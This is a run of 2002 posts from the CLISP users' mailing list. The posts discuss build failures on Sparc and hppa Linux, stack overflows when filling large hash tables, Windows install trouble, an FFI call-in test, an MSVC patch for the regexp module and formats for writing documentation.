> compare the
> two. But again this seems unlikely to be affected by glibc...
>
> > The last one sounds a little troubling.  Maybe the STACK register is
> > just getting clobbered??  (I thought alignment problems caused SIGBUS,
> > not SIGSEGV.)
>
> Hmm, I'll have a look. SIGBUS is caused by access outside the
> address range,
> SIGSEGV is caused by access to unallocated memory.
>


	As an aside I managed to get lisp.run to compile and run on my Ultra-10
(Suse/Linux 7.3) but when clisp started to build the packages it died
(sigsegv) on the 3rd lisp file it was compiling.  I set safety to 3 and
used -O0.  I tracked down the error to a specific line in one of the .d
files.

	I also tried various gcc sparc specific flags to see if that would fix
things -- to no avail.

	I posted a message a few days ago but I don't remember seeing a response to
the original post.


Damond



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I am porting some code that requires change-class.  Since I dont have
many classes to change, but the classes in a tree, I was thinking
of copying the code from the clos implementation in the Art of the Metaobject
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> * In message <m3ofhhteyt.fsf@jetcar.qnz.org>
> * On the subject of "Re: [clisp-list] Build problems on Sparc/Linux"
> * Sent on 21 Mar 2002 23:15:54 -0500
> * Honorable Todd Sabin <tsabin@optonline.net> writes:
>
> >>make 
> >...lots of messages, among which are: 
> >lispbibl.d:6864: warning: register used for two global register variables 
> >lispbibl.d:6736: warning: volatile register variables don't work as you might wish 

I've seen these two many times, they do not appear to cause trouble.

> >lispbibl.d:758: warning: call-clobbered register used for global register variable 

haven't seen this - looks real scary.

what I would do is gcc -E lispbibl.d with glibc2.0 and glibc2.2 and
compare the results.

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Hi,

Friday, March 08, 2002, 8:06:10 PM, you wrote:

Joerg-Cyril> o (queens 21.0s0) still crashes.
I investigated the stack handling in win32. It seems that all
works ok, so hash table handling code just eats too much
program stack. Thus, it is not a crash, but a nice stack
overflow handling.

To increase maximal hashtable size you may relink lisp with other
stack size instead of current 3145728 (it's set in Makefile by
editbin utility when building in MSVC). This memory doesn't being
allocated at once but only when it's needed through exception
mechanism, so I find it safe to change 3M value to, say, 16M
(16777216). Maybe we should ask Sam to change Makefile.in ?

I'm not a unix expert and cannot say what stack size available
on FreeBSD version. But the following function

(defun a(x) (print x) (+ x (a (+ x 1))))

being called as (a 1) counts until 3287 in win NT and approx.
until 15000 in FreeBSD. I wonder whether it's because of another
aligment or because of greater stack limit. It's interesting,
what will print linux version of clisp.

Question to honorable Sam: You recently maked weak-hash-tables,
may be you know, why hash tables are so program-stack hungry ?
Max. HT size seems roughly proportional to program stack size,
i.e. for 1.5M stack max HT is 55000, for 3M stack max HT size is
123000.

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> * In message <1805917388.20020323193446@ich.dvo.ru>
> * On the subject of "Re: [clisp-list] Re: Building CLISP for Windows"
> * Sent on Sat, 23 Mar 2002 19:34:46 +1000
> * Honorable Arseny Slobodjuck <ampy@ich.dvo.ru> writes:
>
> Joerg-Cyril> o (queens 21.0s0) still crashes.
> I investigated the stack handling in win32. It seems that all works
> ok, so hash table handling code just eats too much program
> stack. Thus, it is not a crash, but a nice stack overflow handling.
> 
> To increase maximal hashtable size you may relink lisp with other
> stack size instead of current 3145728 (it's set in Makefile by editbin
> utility when building in MSVC).

actually, you o not have to re-link - you can do this with the existing
lisp.exe. 

> This memory doesn't being allocated at once but only when it's needed
> through exception mechanism, so I find it safe to change 3M value to,
> say, 16M (16777216). Maybe we should ask Sam to change Makefile.in ?

how will this affect the lesser woe32 platforms, like win95?

> I'm not a unix expert and cannot say what stack size available
> on FreeBSD version. But the following function
> 
> (defun a(x) (print x) (+ x (a (+ x 1))))
> 
> being called as (a 1) counts until 3287 in win NT and approx.  until
> 15000 in FreeBSD. I wonder whether it's because of another aligment or
> because of greater stack limit. It's interesting, what will print
> linux version of clisp.

this depends on "ulimit -s".

> Question to honorable Sam: You recently maked weak-hash-tables, may be
> you know, why hash tables are so program-stack hungry ?  Max. HT size
> seems roughly proportional to program stack size, i.e. for 1.5M stack
> max HT is 55000, for 3M stack max HT size is 123000.

I don't think it is:

[24]> (make-hash-table :size (ash most-positive-fixnum -1) )
#S(hash-table eql)
[25]> (make-hash-table :size (1+ (ash most-positive-fixnum -1) ))
*** - Hash table size 8388608 too large


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On Friday 22 Mar 2002 10:40 pm, Sam Steingold wrote:

> what I would do is gcc -E lispbibl.d with glibc2.0 and glibc2.2 and
> compare the results.

Does anyone here have a Sparc?linux glibc 2.0 machine? The only Sparc 
equipment I have access to is not mine sp I cannot do this myself. If anyone 
does just email me the output and I will be grateful.

I'm not really expecting anyone does TBH, glibc 2.0 is quite old now.


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Hello Sam,

Sunday, March 24, 2002, 3:43:24 AM, you wrote:

>> This memory doesn't being allocated at once but only when it's needed
>> through exception mechanism, so I find it safe to change 3M value to,
>> say, 16M (16777216). Maybe we should ask Sam to change Makefile.in ?

Sam> how will this affect the lesser woe32 platforms, like win95?

I didn't think about it. I'll try to check on win95.

>> Question to honorable Sam: You recently maked weak-hash-tables, may be
>> you know, why hash tables are so program-stack hungry ?  Max. HT size
>> seems roughly proportional to program stack size, i.e. for 1.5M stack
>> max HT is 55000, for 3M stack max HT size is 123000.

Sam> I don't think it is:

[24]>> (make-hash-table :size (ash most-positive-fixnum -1) )
Sam> #S(hash-table eql)
[25]>> (make-hash-table :size (1+ (ash most-positive-fixnum -1) ))
Sam> *** - Hash table size 8388608 too large

On winnt all just the same, but if you'll begin to work with big HTs
(limits I have roughly pointed out), "Program stack overflow. RESET"
arises. It's not necessary to fill all such a big HT, usually 5000
elements are enough.

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Hi Arseny,

> * In message <1512001668.20020324101158@ich.dvo.ru>
> * On the subject of "Re[2]: [clisp-list] CLISP stack & hash tables"
> * Sent on Sun, 24 Mar 2002 10:11:58 +1000
> * Honorable Arseny Slobodjuck <ampy@ich.dvo.ru> writes:
>
> 
> Sunday, March 24, 2002, 3:43:24 AM, you wrote:
> 
> >> Question to honorable Sam: You recently maked weak-hash-tables, may be
> >> you know, why hash tables are so program-stack hungry ?  Max. HT size
> >> seems roughly proportional to program stack size, i.e. for 1.5M stack
> >> max HT is 55000, for 3M stack max HT size is 123000.
> 
> Sam> I don't think it is:
> 
> [24]>> (make-hash-table :size (ash most-positive-fixnum -1) )
> Sam> #S(hash-table eql)
> [25]>> (make-hash-table :size (1+ (ash most-positive-fixnum -1) ))
> Sam> *** - Hash table size 8388608 too large
> 
> On winnt all just the same, but if you'll begin to work with big HTs
> (limits I have roughly pointed out), "Program stack overflow. RESET"
> arises. It's not necessary to fill all such a big HT, usually 5000
> elements are enough.

[1]> (setq h (make-hash-table :size 100000)
)
#S(HASH-TABLE EQL)
[2]> (dotimes (i 100000) (setf (gethash i h) i))
NIL
[3]> (setq *print-array* nil)
NIL
[4]> (defun z (n) (let ((h (make-hash-table :size n))) (dotimes (i n) (setf (gethash i h) i))))
Z
[5]> (z 10000)
NIL
[6]> (defun z (n) (let ((h (make-hash-table :size n))) (dotimes (i n h) (setf (gethash i h) i))))
Z
[7]> (z 10000)
#<HASH-TABLE EQL 10000 #x2058F0BD>
[8]> (z 100000)
#<HASH-TABLE EQL 100000 #x20777509>
[9]> (z 100000)
#<HASH-TABLE EQL 100000 #x20960509>
[10]> (z 1000000)
#<HASH-TABLE EQL 1000000 #x21C73209>
[11]> (z 10000000)

*** - Hash table size 10000000 too large
1. Break [12]> 
[13]> (z (ash most-positive-fixnum -1))
#<HASH-TABLE EQL 8388607 #x2BC42001>
[14]> (z (1+ (ash most-positive-fixnum -1)))

*** - Hash table size 8388608 too large
1. Break [15]> 

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> * In message <E16ot4z-0000Zx-00.2002-03-23-21-29-37@imailg1.svr.pol.co.uk>
> * On the subject of "Re: [clisp-list] Build problems on Sparc/Linux"
> * Sent on Sat, 23 Mar 2002 20:27:38 +0000
> * Honorable Will Newton <will@misconception.org.uk> writes:
>
> On Friday 22 Mar 2002 10:40 pm, Sam Steingold wrote:
> 
> > what I would do is gcc -E lispbibl.d with glibc2.0 and glibc2.2 and
> > compare the results.
> 
> Does anyone here have a Sparc?linux glibc 2.0 machine? The only Sparc 
> equipment I have access to is not mine sp I cannot do this myself. If anyone 
> does just email me the output and I will be grateful.
> 
> I'm not really expecting anyone does TBH, glibc 2.0 is quite old now.

You should ask the debian people - last year they were quite
forthcoming with giving me a sparc/linux account, and they (Ben Collins
&co) appeared to be able to access a glibc2.0 machine.


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Hello Sam,

Sunday, March 24, 2002, 1:01:54 PM, you wrote:

>> >> Question to honorable Sam: You recently maked weak-hash-tables, may be
>> >> you know, why hash tables are so program-stack hungry ?  Max. HT size
>> >> seems roughly proportional to program stack size, i.e. for 1.5M stack
>> >> max HT is 55000, for 3M stack max HT size is 123000.
>> 
>> Sam> I don't think it is:
>> 
>> [24]>> (make-hash-table :size (ash most-positive-fixnum -1) )
>> Sam> #S(hash-table eql)
>> [25]>> (make-hash-table :size (1+ (ash most-positive-fixnum -1) ))
>> Sam> *** - Hash table size 8388608 too large
>> 
>> On winnt all just the same, but if you'll begin to work with big HTs
>> (limits I have roughly pointed out), "Program stack overflow. RESET"
>> arises. It's not necessary to fill all such a big HT, usually 5000
>> elements are enough.

[1]>> (setq h (make-hash-table :size 100000)
Sam> )
Sam> #S(HASH-TABLE EQL)
[2]>> (dotimes (i 100000) (setf (gethash i h) i))
Sam> NIL
[3]>> (setq *print-array* nil)
Sam> NIL
[4]>> (defun z (n) (let ((h (make-hash-table :size n))) (dotimes (i n) (setf (gethash i h) i))))
Sam> Z
[5]>> (z 10000)
Sam> NIL
[6]>> (defun z (n) (let ((h (make-hash-table :size n))) (dotimes (i n h) (setf (gethash i h) i))))
Sam> Z
[7]>> (z 10000)
Sam> #<HASH-TABLE EQL 10000 #x2058F0BD>
[8]>> (z 100000)
Sam> #<HASH-TABLE EQL 100000 #x20777509>
[9]>> (z 100000)
Sam> #<HASH-TABLE EQL 100000 #x20960509>
[10]>> (z 1000000)
Sam> #<HASH-TABLE EQL 1000000 #x21C73209>
[11]>> (z 10000000)

Sam> *** - Hash table size 10000000 too large
1. Break [12]>> 
[13]>> (z (ash most-positive-fixnum -1))
Sam> #<HASH-TABLE EQL 8388607 #x2BC42001>
[14]>> (z (1+ (ash most-positive-fixnum -1)))

Sam> *** - Hash table size 8388608 too large
1. Break [15]>> 

Cool. Now I think that problem sits in GC. When I periodically call GC
in process of filling the HT, stack overflow doesn't appear. (But it
S-L-O-W ! It seems slower than just by GC time, may be CPU cache does
something with this...) GC differs for different OSes ... May be GC
being overloaded by garbage ? What do you think ?

Another problem: when I limited the stack by 'ulimit -s' in FreeBSD,
my endless-recursion test caused coredump instead of detected stack
overflow. Value of counter achieved is comparable hovewer with win32
version (4000 for 3M stack in FreeBSD, 3200 in win NT).

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On Sunday 24 Mar 2002 8:50 am, you wrote:

> So here is spvw.d,  spvw_garcol.d will be the next translation target.

Thanks! This should be a big help.



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Date: Sun Mar 24 09:18:03 2002
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Hi,

Sam Steingold wrote:
> > I will have a look at it certainly, but all the comments are in
> > german, of which I have quite a poor grasp.

did you know, that in the good old times of the "wild west",
German was almost elected as the official language in the US
(at least in one state)? :-)

> Stefan, could you please kindly expedite translating the spvw*.d files?
> Thanks!

if I am asked this nicely, I just cannot refuse... :-)

BTW, if you peruse over my translations and find something that
sounds odd for the native English speaker, could you correct me and
inform me? I am always eager to improve my English.

So here is spvw.d,  spvw_garcol.d will be the next translation target.

Just for those guys, that ask themselves:
What does this strange "spvw" stand for?????

SPVW is a the german abbreviation for
Speicherverwaltung := Memory Management

Bye,
Stefan
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> * In message <141241264.20020325002205@ich.dvo.ru>
> * On the subject of "Re[4]: [clisp-list] CLISP stack & hash tables"
> * Sent on Mon, 25 Mar 2002 00:22:05 +1000
> * Honorable Arseny Slobodjuck <ampy@ich.dvo.ru> writes:
>
> Sunday, March 24, 2002, 1:01:54 PM, you wrote:
> 
> Another problem: when I limited the stack by 'ulimit -s' in FreeBSD,
> my endless-recursion test caused coredump instead of detected stack
> overflow. Value of counter achieved is comparable hovewer with win32
> version (4000 for 3M stack in FreeBSD, 3200 in win NT).

good. now recompile with -g and run under gdb.
when you get the crash, print the CLISP stack with "p C_show_stack" (or
something :-) and try to figure out what is filling it.

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Date: Mon Mar 25 14:35:18 2002
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Hallo

Now I download the win-version clisp228.zip with 2.346.984 bytes. It
extracts in an dictionary named clisp-2.28. 

(lisp-implementation-version)
"2.28 (released 2002-03-03) (built on ampy.LAIR [192.168.0.1])
current os*: win98 4.10.1998

I renamed it to cl228 and moved it to another place. The install.pif
could not find the install.bat. This looks for "clisp-2.28\install.bat"
(could it be the current dictionary ?)

So I start the install.bat manually - a finished dosbox with OFF apeares
and I dont know what happend. well. I copied my test.lisp into the cl288
dictionary and doubleclick on it. -There is no application associated
... win-error-box. Hmmm.
So I copied the old lisp.bat into cl228 and changed the pathnames to the
new dictionary and doubleklick that. A dos-box opens and I see what I
expect. 

So far ok. Now I typed in (load "test.lisp") and get an error :(
*** - A file with name test.lisp does not exist ... nice
I renamed test.lisp in test.lsp and try again:
(load "test.lsp")
;; Loading file test.lsp ... ... finished.
But this was not my test-file, the variables in test.lsp have all no
values. So, what was loaded from the interpreter ??

I renamed test.lsp to versuch.lsp and load it.
*** - A file with ... does not exist. Hmmm
What is wrong ?

So I set a path in the autoexec.bat to C:\lisp\cl228; saved it and
reboot. Than I repeat the steps discribed in the readme. I repeat the
command
(compile-file "src/config.lisp")
*** - OPEN: file #P"C:\\LISP\\CL227\\src\\config.lisp" does not exist.
aha. I opened regedit and searched for clisp entries there. Found one in
HKEY_CURRENT_USER/software/Microspft/Windows/CurrentVersion/Explorer/RunMRU
and changed it to cl228 and try again (after a reboot).

How the story continues cames later on. Now rebooting (the most
practicable use of this os*)

So, please, add a text-line or routine, to check whether there is
already a clisp-version installed and write some sentences like
howtounistalltheoldversion. :)

stefan


of course. I renamed cl227 to clold and cl228 to cl227 and compile says
: [pathname.d:6265] *** - I hope you can guess, what I think about that
:) meanwhile 2.27 runs pretty well ...



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Dear clisp users,

What options are there to list directory contents? I used to use
 (directory "~/*")
in clisp-2.27 and it seemed to be working. Now I'm using clisp-2.28 and find it does not give me the expected results.

I'm not sure whether it's a memory confusion or I did not compile the "wildcard" module when compile clisp-2.28 lately.

No matter what, I'd ask what should one do when one want to list a directory so as to iterate over the entries in the directory.

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Hello Stefan,

Tuesday, March 26, 2002, 4:18:27 AM, you wrote:

lin8080> I renamed it to cl228 and moved it to another place. The install.pif
lin8080> could not find the install.bat. This looks for "clisp-2.28\install.bat"
lin8080> (could it be the current dictionary ?)
1. Do you mean 'directory' ?

2. Don't use install.pif - it was created by windows when install.bat
was called.

3. I just tried on win98 - it needs a bit of work to get install
working on win 95/98. It doesn't associate extensions currently at
all. So currently it doesn't work.

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Hi,

Using 2.28 (well, CVS, actually)  on Gnu/Linux:

When I try to compile the following test, clisp-link drops me into
clisp with the error message:

*** - The value of *terminal-io* was not a stream: #<closed terminal-stream>. It has been changed to #<io terminal-stream>.

I have _NO_ idea why terminal streams should be involved in compiling
ffi stuff.  This is just a test, but I am getting the same error (plus
a nice consistent sigsegv) in a module I am working on.

-------
;alpha.lisp

(defpackage "TESTCI" (:use "FFI" "LISP"))

(in-package "TESTCI")

(def-call-in decider
  (:arguments (txt c-string))
  (:return-type int))

(def-call-out test_decider
  (:arguments)
  (:return-type int))

(defun test ()
  (test_decider))

(defun decider (string)
  (if (string= string "xxx")
      1
    0))
;end
-----------

/*beta.c*/

extern int decider (char *txt);

int test_decider();

int test_decider() {
  int rv;
  rv = decider("xyz");
  return rv;
}	
 
/*end*/
------------

I am issuing these commands in a directory with linkkit and base.

clisp-link create-module-set test alpha.c
gcc -c beta.c
cd test
ln -s ../beta.o beta.o
#add beta.o to NEW_LIBS and NEW_FILES in link.sh
cd ..
./base/lisp.run -M base/lispinit.mem -c alpha.lisp
clisp-link add-module-set test base base+test

everything goes ok, except the final command results in the above
mentioned error.

What am I doing wrong?
How does *terminal-io* come into it?
?????????????

Regards,
Peter


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Is it still necessary for clisp to ship with it's own iconv lib?


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Hi,

I'd be happy to know if there's some place where to put extra =
documentation, "howto" or whatever about CLISP. For some things I've =
written, impnotes is not the correct place.

Sometimes I thought about using parts of Cliki (ww.telent.net/cliki/), =
since I like "maintainerless" places (appropriate for CLISP FAQ?).

The Sourceforge documentation page seems empty for most projects I've =
visited there.
What about clisp.cons.org?

So where can I put up things? For example, I have written an article =
about extending CLISP via external modules, a tiny part of which =
describes how to use the regexp module with MS-Windoos (see another =
mail from today).

Thanks for locations pointers,
	J=F6rg H=F6hle


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Hi,

I'm glad to see that progress is made in this area.

Arseny Slobodjuck wrote:
>Thus, it is not a crash, but a nice stack overflow handling.

You seem to forget that in my initial mail I reported that using
(EXT:SPACE (9nines)) causes a program crash. It's not nice in any way.

Invoking (9nines) without EXT:SPACE causes "only" a STACK overflow/RESET error message, as you mention, without exiting the Lisp session.

Regards,
	Jorg Hohle.


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Hi,

Sam steingold wrote:
> 2. this bug slipped through because, apparently, no pretester uses
>    REQUIRE.  I hope this will inspire you to participate in the next
>    pre-test. 

Wouldn't the better suggestion be the addition of a few lines to the testsuite, so as to automate testing instead of testers? Who'd be willing to do so for the now solved bug in REQUIRE?

To participate, here's something for a patch I submitted (see sourceforge bugtacker):
http://sourceforge.net/tracker/index.php?func=detail&aid=528886&group_id=1355&atid=101355

#+(and CLISP FFI)

(typep #\a 'ffi:foreign-address)
NIL

(multiple-value-list (subtypep 'ffi:foreign-function 'function))
(T T)

ChangeLog	partial test of (SUB-)TYPEP FFI:FOREIGN-* 

Is the testsuite separately maintained (like ffcall)? I heard that several groups had used it (CMUCL people?).

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	Jorg Hohle.


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what about posting it here at first, to let people check its usefulness.

"Hoehle, Joerg-Cyril" schrieb:
> I'd be happy to know if there's some place where to put extra documentation, "howto" or whatever about CLISP. For some things I've written, impnotes is not the correct place.
> Sometimes I thought about using parts of Cliki (ww.telent.net/cliki/), since I like "maintainerless" places (appropriate for CLISP FAQ?).
> The Sourceforge documentation page seems empty for most projects I've visited there.
> What about clisp.cons.org?
> So where can I put up things? For example, I have written an article about extending CLISP via external modules, a tiny part of which describes how to use the regexp module with MS-Windoos (see another mail from today).

the Cliki is a good place for me.
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Hi,

here's a tiny patch to make the regexp module usable with the MS-VC6 =
compiler.

I believe some users of the win32 binary distribution would very much =
appreciate for this module to be included in the binary.

For several years now, the FFI has been part of the binary distribution =
on MS-Windows. This was of no use at all except to know that it =
compiles(!), since without modules, it cannot do/call/access anything.

I'd be thankful to the autoconf & Makefile experts could come up with a =
scheme to automate generating and including the module. It's trivial to =
do by hand, but possibly hard to fully automate. I appended the =
makefile parts that I used.

The current src/Makefile does:
o using empty modules.h, create lisp.exe
o compile all .lisp files and create lispinit.mem

It needs to additionaly do:
o compile regexp.lisp (creates regexp.fas and regexp.c) with old(/any) =
lisp.exe
o compile modules/regexp.c, regexi., regex.c (delegate to =
modules/regexp/Makefile)
o put a line containing "MODULE(regexp)" into modules.h
o recompile modules.c as consequence of dependance
o recreate lisp.exe including regex objects
Note there's a dependency cycle.

A new .mem need not be created. Yet it may be convenient for users to =
have regexp.fas included and ready for use. The regexp.fas can only be =
loaded by the new lisp.exe.

ChangeLog	compiles with MS-VC6

Since one of the patches is to regex.c, I don't know whether the =
original GNU maintainers would be interested by portability, or if some =
boycott applies.

I can provide a Win.Zip containing an augmented lisp.exe, regexp.fas =
(+lisp) and the below diffs for CLISP-2.28 using MS-VC6 if somebody =
tells me where to put that. Though I don't know if that would be a =
violation of COPYRIGHT. Or the current CLISP-2.28 binaries were =
updated.

Regards,
	J=F6rg H=F6hle.
++++++++++++++ diff modules/regexp/
gdiff -c3 ../../orig/ regex.c
*** ../../orig/regex.c	Wed Jul 22 22:22:47 1998
--- regex.c	Fri Mar 22 15:58:38 2002
***************
*** 211,218 ****
--- 211,223 ----
  #if HAVE_ALLOCA_H
  #include <alloca.h>
  #else /* not __GNUC__ or HAVE_ALLOCA_H */
+ #ifdef _MSC_VER /* Microsoft VC */
+ #include <malloc.h>
+ #define alloca _alloca
+ #else
  #ifndef _AIX /* Already did AIX, up at the top.  */
  char *alloca ();
+ #endif /* not MS-VC */
  #endif /* not _AIX */
  #endif /* not HAVE_ALLOCA_H */=20
  #endif /* not __GNUC__ */
gdiff -c3 ../../orig/ regexi.c
*** ../../orig/regexi.c	Wed Jul 22 22:22:50 1998
--- regexi.c	Fri Mar 22 15:28:22 2002
***************
*** 2,10 ****
  /* Bruno Haible 14.4.1995 */
 =20
  #include <sys/types.h> /* regex.h needs this */
  #include "regex.h"
 =20
- #include <stdlib.h> /* declare malloc(), free() */
 =20
  int mregcomp (ppreg,pattern,cflags)
    regex_t* * ppreg;
--- 2,10 ----
  /* Bruno Haible 14.4.1995 */
 =20
  #include <sys/types.h> /* regex.h needs this */
+ #include <stdlib.h> /* declare malloc(), free() */
  #include "regex.h"
 =20
 =20
  int mregcomp (ppreg,pattern,cflags)
    regex_t* * ppreg;

++++++++++++++ hand-written modules/regexp/makefile for MSVC6
# I believe it should be a generated file
# Adapted from win32msvc/makefile.msvc6 and modules/regexp/Makefile.in

LISPSRCDIR =3D ..\..\src
INCLUDES=3D$(LISPSRCDIR)
CC =3D cl $(MFLAGS) -G5 -Os -Oy -Ob1 -Gs -Gf -Gy
CFLAGS =3D -DHAVE_STRING_H -DSTDC_HEADERS

!if !defined(MFLAGS)
MFLAGS=3D
!endif

MSVCDIR =3D "C:/Programme/Microsoft Visual Studio/VC98"
MAKE =3D nmake

CLISP =3D $(LISPSRCDIR)\lisp0.exe -M $(LISPSRCDIR)\lispinit.mem -B =
$(LISPSRCDIR) -Efile UTF-8 -norc -q

all : regexp.obj regexi.obj regex.obj

regexp.c : regexp.lisp
	$(CLISP) -c regexp.lisp

regexp.obj : regexp.c
	$(CC) $(CFLAGS) -I$(INCLUDES) -c regexp.c

regexi.obj : regexi.c regex.h
	$(CC) $(CFLAGS) -c regexi.c

regex.obj : regex.c regex.h
	$(CC) $(CFLAGS) -I. -c regex.c

# Make a module
clisp-module : all


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Hi,

Reini Urban wrote:
> what about posting it here at first, to let people check its 
> usefulness.
Well, I started writing using MS-Word, since that's what was available on my wife's PeeCee. That probably was a mistake.

MS-word says the file has 24333 characters, but saves to 66KB.doc or 160KB .html, which I'll not send to a mailing list. Acrobat .pdf is also 148KB.

I'd be very happy to use another format. But please don't talk me into Linux-specific tools. I have no access to a Linux box.

I thought about Texinfo since
 o that's what I know.
 o And I have NTEmacs.
 o And it provides automatic indices, which I wouldn't like to write in (X)HTML by hand.
 o And I'm satisfied with texi2html. (I have access to Solaris boxes).
But I'm wondering whether I should just use LaTeX.
Any other options?

Thanks for your help,
	Jorg Hohle


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> * In message <E16q3m2-0007Ka-00.2002-03-27-03-06-54@mail4.svr.pol.co.uk>
> * On the subject of "[clisp-list] iconv"
> * Sent on Wed, 27 Mar 2002 03:08:08 +0000
> * Honorable Will Newton <will@misconception.org.uk> writes:
>
> Is it still necessary for clisp to ship with it's own iconv lib?

this is a very involved issue actually.
on a glibc2.2 system, definitely _no_.
on most other systems, probably yes.
Unfortunately, IIUC, one cannot check whether the libc iconv is usable
using autoconf, but only whether it is present.

Bruno promised to address this issue a year ago, but he is still busy
with other things.

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> * In message <DFD875E85664D3118FA6080006277DE705216E86@U8PN2.blf01.telekom.de>
> * On the subject of "[clisp-list] Seeking place for CLISP documentation"
> * Sent on Wed, 27 Mar 2002 14:51:02 +0100
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> I'd be happy to know if there's some place where to put extra
> documentation, "howto" or whatever about CLISP. For some things I've
> written, impnotes is not the correct place.

Impnotes _is_ the correct place for all documentation about CLISP.
Using DocBook/XML will save you a lot of work.
Impnotes were originally a plain text file.
I re-wrote it in HTML in parallel with CLHS and then converted to
DocBook/XML.  This was a lot of effort, but I do not regret it.
It is easy to learn and you will not regret it.

DocBook/XML is _the_ way to go if you want to produce logically
structured interlinked documents.

You will be able to produce stand-alone documents as well as documents
linked into impnotes.

> Sometimes I thought about using parts of Cliki (ww.telent.net/cliki/),
> since I like "maintainerless" places (appropriate for CLISP FAQ?).

CLISP FAQ should be on CLISP pages, not Cliki.

> So where can I put up things?

If you listen to me and use DocBook/XML, you should put the DocBook/XML
files into CLISP/doc/ and the generated HTML to the CLISP pages on
clisp.cons.org and mirrors (for details, let's move the discussion to
<clisp-devel>).

> For example, I have written an article about extending CLISP via
> external modules, a tiny part of which describes how to use the regexp
> module with MS-Windoos (see another mail from today).

Fire up your emacs and write it in DocBook/XML.
Then get xerxes and look at CLISP/doc/Makefile for hints on how to
produce HTML from it.  You can also produce PDF and other formats.

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> * In message <DFD875E85664D3118FA6080006277DE705216EC5@U8PN2.blf01.telekom.de>
> * On the subject of "[clisp-list] augmenting testsuite as bugs are solved (was: Confused by `requir e', *load-paths* and clisp 2.28)"
> * Sent on Wed, 27 Mar 2002 15:09:44 +0100
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> Sam steingold wrote:
> > 2. this bug slipped through because, apparently, no pretester uses
> >    REQUIRE.  I hope this will inspire you to participate in the next
> >    pre-test. 
> 
> Wouldn't the better suggestion be the addition of a few lines to the
> testsuite, so as to automate testing instead of testers? Who'd be
> willing to do so for the now solved bug in REQUIRE?

whenever I fix a bug, I put a test for it into the testsuite.
nevertheless, it's hard to test _all_ the functionality in the testsuite.
patches are welcome.

> #+(and CLISP FFI)
> (typep #\a 'ffi:foreign-address)
> NIL
> (multiple-value-list (subtypep 'ffi:foreign-function 'function))
> (T T)

thanks.

> Is the testsuite separately maintained (like ffcall)?

no, but there are several derived testsuites, like CLOCC/stc/tools/ansi-test

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> But I'm wondering whether I should just use LaTeX.

This would be my suggestion.  After all, it can be used to produce .pdf
or postscript (and as far as I know, ghostscript 7.0 will produce
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Another simple hppa build fix. It still does not build right for me here, I 
am working on it.

--- clisp-2.28.old/src/lispbibl.d       Fri Mar 15 18:21:37 2002
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On Wed, Mar 27, 2002 at 03:35:49PM +0100, Hoehle, Joerg-Cyril wrote:
> Reini Urban wrote:
> > what about posting it here at first, to let people check its 
> > usefulness.
> Well, I started writing using MS-Word, since that's what was available on my wife's PeeCee. That probably was a mistake.

Yes.
 
I worked on a (commercial) project which used MS Word for technical
documentation. It's not impossible, otherwise it wouldn't be so
common, but it's fruitful source of nuisances.
  * You can't easily see the structure of documents. MS Word does support
    abstract structure in documents, so it's not just "what you see
    is all you get". But if your maintainers aren't careful always
    to use the abstract structure, it's hard to tell, because
    e.g. text in a particular place in a particular font looks very
    much like a section header. So while MS Word tries to support
    the notion of not just printing the document but exporting it
    to other formats (especially HTML) it's hard for it to do it
    nearly as cleanly as a more abstract markup language like DocBook.
    (In practice it works OK if you export the document to every
    format you care about before you proof-read it, but that's a 
    chore even for two formats.)
  * You can put the documents under change control (e.g. CVS) but
    you can't easily get meaningful diffs between versions.
  * You can't easily auto-generate documents. It's easy to make
    a script to generate a valid DocBook document describing 
    an IDL specification or a memory map or a table of tag bits. 
    Making a Microsoft Word file is harder.
  * In a company which requires MS products for everyone, it's not
    an immediate issue, but in a more open situation (like open
    source! but also even the same company over a period of decades)
    ensuring that everyone always has software to read the proprietary
    slightly flaky format is a problem. (At the company I was at, I
    didn't see this for MS Word because MS was dominant, but I did
    see it for documents in the older proprietary formats the company
    had used before MS became dominant, and I expect it'll show up
    again when MS isn't dominant.)

> MS-word says the file has 24333 characters, but saves to 66KB.doc or 160KB .html, which I'll not send to a mailing list. Acrobat .pdf is also 148KB.
> 
> I'd be very happy to use another format. But please don't talk me into Linux-specific tools. I have no access to a Linux box.

DocBook is common for open source documentation. I've been pretty
happy with it (for SBCL). I don't know about using it on MS Windows,
but I'm under the impression that the tools have been ubiquitous for
some years, so I'm 98% sure it's possible.
 
I can't argue very effectively against MS Word for nontechnical
people, since knowledge of how to use Word is so common, and since
WYSIWYG is so much more popular than markup with compilers (like LaTeX
and DocBook) which emit error messages. But for technical people,
DocBook seems like a clear win. Someone who already understands
compilers (concepts like source code and block structure, and basic
skills for fixing problems which correspond to error messages) should
be able to write DocBook documents after studying examples or
tutorials for about 30 minutes. And the exportability, portability,
change control, and script-friendliness advantages are significant.

> I thought about Texinfo since
>  o that's what I know.
>  o And I have NTEmacs.
>  o And it provides automatic indices, which I wouldn't like to write in (X)HTML by hand.
>  o And I'm satisfied with texi2html. (I have access to Solaris boxes).
> But I'm wondering whether I should just use LaTeX.
> Any other options?

I don't know enough about texinfo to have a useful opinion.

I liked LaTeX a lot ten years ago, and I'd still be happy to use it
for a document with enough equations that it would be hard to
represent except as a printed document or bitmap. But for documents
that can usefully be exported to de facto portable HTML, I'd go with
something more abstract, like DocBook. LaTeX supports both abstract
markup like "this is a paragraph" and concrete markup like "give me a
6 em break here and switch to 14 point font". If I understand
correctly, you'd need to manually avoid using the concrete markup if
you want to translate correctly to HTML. Instead of carefully limiting
yourself to a subset of LaTeX, why not use a language which is
designed for this, and which can be automatically translated into TeX
as needed?

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Is the construction (FFI:C-PTR nil) equivalent to FFI:C-POINTER?
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hello,

i am just trying to write a makefile for a project of mine and found out
that the pwd is always searched before any other directories in
custom:*load-paths*. how can i change this search sequence?

many thanks for any hints!

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On Tue, Mar 26, 2002 at 03:35:01PM +0100, I wrote:
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> 
> Using 2.28 (well, CVS, actually)  on Gnu/Linux:
> 
> When I try to compile the following test, clisp-link drops me into
> clisp with the error message:
> 
> *** - The value of *terminal-io* was not a stream: #<closed terminal-stream>. It has been changed to #<io terminal-stream>.
> 
> I have _NO_ idea why terminal streams should be involved in compiling
> ffi stuff.  This is just a test, but I am getting the same error (plus
> a nice consistent sigsegv) in a module I am working on.
> 
> -------
> ;alpha.lisp
> 
> (defpackage "TESTCI" (:use "FFI" "LISP"))
> 
> (in-package "TESTCI")
> 
> (def-call-in decider
>   (:arguments (txt c-string))
>   (:return-type int))
> 
> (def-call-out test_decider
>   (:arguments)
